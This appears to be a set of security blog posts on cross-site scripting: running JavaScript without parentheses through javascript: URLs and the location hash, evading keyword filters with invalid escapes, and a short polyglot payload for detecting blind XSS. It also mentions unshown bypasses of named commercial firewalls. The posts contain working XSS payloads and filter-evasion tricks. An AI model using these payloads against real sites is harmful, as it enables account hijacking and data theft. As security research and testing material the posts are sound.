Running javascript without using parentheses

Restricting the use of parentheses is one of the toughest limitations I have come across, mainly due to the fact that sometimes all sorts of escapes and encodings are blocked.

Portswigger researcher Gareth Heyes (@garethheyes) even dedicated an entire chapter of his latest book "JavaScript for hackers" to illustrate different methods of running javascript that does not use parentheses. However, this post is not going to go over Gareth's techniques.

The easiest way to avoid parenthesis is by using grave accents:

alert``

However, these are also blocked very often.

Another thing you can do is to find a way to evaluate a string so that the parentheses can be escaped and/or encoded. Some functions that do this are:

eval('alert\x280\x29');
setTimeout('alert\x280\x29', 0);
Function('alert\x280\x29')();

However, the invocation of such functions needs parentheses as well.

The solution is to use javascript: protocol URLs, these can be assigned to window.location or document.location just like any other variable assignment.

window.location = 'javascript: alert(0)';
window.location = 'javascript: alert\x280\x29';

What happens if all possible escapes and encodings are blocked as well?
( \x28 \x29 \u0028 \u0029 \u{28} \u{29} \u{00000028} \u{00000029} \50 \51 )

Place the payload in the location hash and just assign location to itself.

location = 'javascript://' + location;
or
location = 'javascript://' + location.hash;

The payload has to go after a new line (%0A) in the location hash.

https://vulnerable.com/?xss=<img src onerror="location='javascript://' + location;" />#%0Aalert(0);alert(1);

The double-slash (//) after the javascript: protocol is a single-line comment that comments-out the whole URL until it reaches the new-line %0A after the #, the %0A gets decoded into a new-line breaking out of the single-line comment, then the payload follows and is executed. If the cross-site scripting is server-side the payload doesn't reach the server.

The idea behind this type of attack vector came from Eduardo Vela's and David Lindsay's Black Hat 2009 presentation.
https://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf (slide 18 and 22) Originally the code was meant to be evaluated with eval() or by using sharp variables.

Bypasses for the most popular WAFs

In Black Hat 2009 I had the honor of personally meeting @sirdarckcat (Eduardo Vela, leader of Google Project Zero) who gave a presentation titled "Our favorite XSS filters and how to attack them". In his presentation he managed to bypass every single popular Web Application Firewall that was in the market at that time and he said it had been a piece of cake.

The conclusion of his talk was that all Web Application Firewalls (WAFs) were practically useless at that time due to the tremendous ease in which they could be bypassed.

Now, more than ten years later, I decided to evaluate the security of many popular WAFs to see their evolution and how robust they've become over time. The conclusion is that most of them are still extremely vulnerable. They are very easy to bypass so the degree of protection they offer is very low; I broke each WAF in around 5 minutes.

I decided to publish the bypasses because it is actually funny how bad these filters are.

The WAFs that I tested are:

  • Amazon Web Services WAF
  • Cisco Secure WAF
  • Cloudflare Web Application Firewall
  • Citrix Netscaler
  • F5 BIG-IP Advanced WAF
  • Fortinet's Fortiweb WAF
  • Akamai Web Application Firewall
  • Sophos Firewall
  • Incapsula Imperva
  • Broadcom

Click on more to see the bypasses:

(more…)

XSS filter evasion through invalid escapes

Most of the time, XSS filters look for specific keywords to detect invocation of dangerous functions or variables. A very common bypass technique is to break these specific character sequences like this:

window['ale'+'rt'](1)
window['alexrt'.replace(/x/,'')](1)

Several years ago I found a nice feature in javascript that allows the attacker to break character sequences in a very easy, quick, straight-forward way. It consists of escaping characters that do not have an escape sequence assigned. For instance, this are valid escapes in javascript:

\' Simple quote
\" Double doble
\ Backslash
\n New line
\r Carriage return
\v Vertical tab
\t Tab
\b Backspace
\f Page forward

Those characters will be escaped to their corresponding values if you add a backslash before them.

If you use a backslash before any other character javascript will simply ignore the backslashes, so the string will be broken while still preserving its meaning:

window['\a\l\ert'](1)
window['\pr\o\m\pt'](1)

I hope this will help to do your hacking simpler and faster.

Blind XSS Detection

I noticed that Gareth Heyes has a sweet one-liner XSS testing polyglot in his twitter profile (@GarethHeyes).

This vector is particularly useful for detecting blind XSS vulnerabilities.

I thought it would be fun to see if I could make it shorter and more effective.

I managed to shorten the length by 10 bytes and surprisingly enough it also works in one more context. This is the one-liner polyglot:

javascript:/*</title></textarea></style --></xmp></script><svg/onload='//"/**/%0a
onmouseover=alert()//'>

It is 103 bytes long and it works in one more context than Gareth's (his doesn't work in single line comment contexts (//), although I find his vector to be more elegant).

I decided to improve it so that it works in every possible context:

<script>xss</script>
<script>a='
xss'</script>
<script>a="
xss"</script>
<script>a="
xss"</script>
<script>//
xss</script>
<script>/*
xss*/</script>
<a href='
xss'></a>
<title>
xss</title>
<textarea>
xss</textarea>
<style>xss</style>
<div>
xss</div>
<div
xss></div>
<div class='
xss'></div>
<div class="
xss"></div>
<div class=
xss></div>
<noscript>
xss</noscript>
<noembed>
xss</noembed>
<!--
xss -->
<xmp>
xss</xmp>
<math>xss</math>
<frameset>
xss</frameset>

The resulting vector is:

javascript:/*</title></textarea></style --></xmp></script></noembed></noscript></math><svg/onload='//"/**/%0aonmouseover=alert()//'>

Besides for Blind XSS, this vector is also good for optimizing the process of finding regular cross-site scripting vulnerabilities. Instead of having to send 21 requests to each parameter when testing an application, you only have to make 1 request. This gets the job done in approximately only 5% of the time.

Can you make it even shorter? Let me know in the comments or through twitter (@ruben_v_pina)